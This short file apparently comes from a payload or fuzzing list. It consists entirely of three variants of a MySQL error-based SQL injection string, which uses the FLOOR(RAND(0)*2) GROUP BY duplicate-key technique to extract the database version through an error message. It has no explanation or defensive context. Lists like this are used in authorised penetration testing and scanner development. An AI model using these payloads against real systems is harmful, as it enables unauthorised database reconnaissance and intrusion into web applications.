and ' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)-- and 1=1
or 1=' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)-- and 1=1
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)-- and 1=1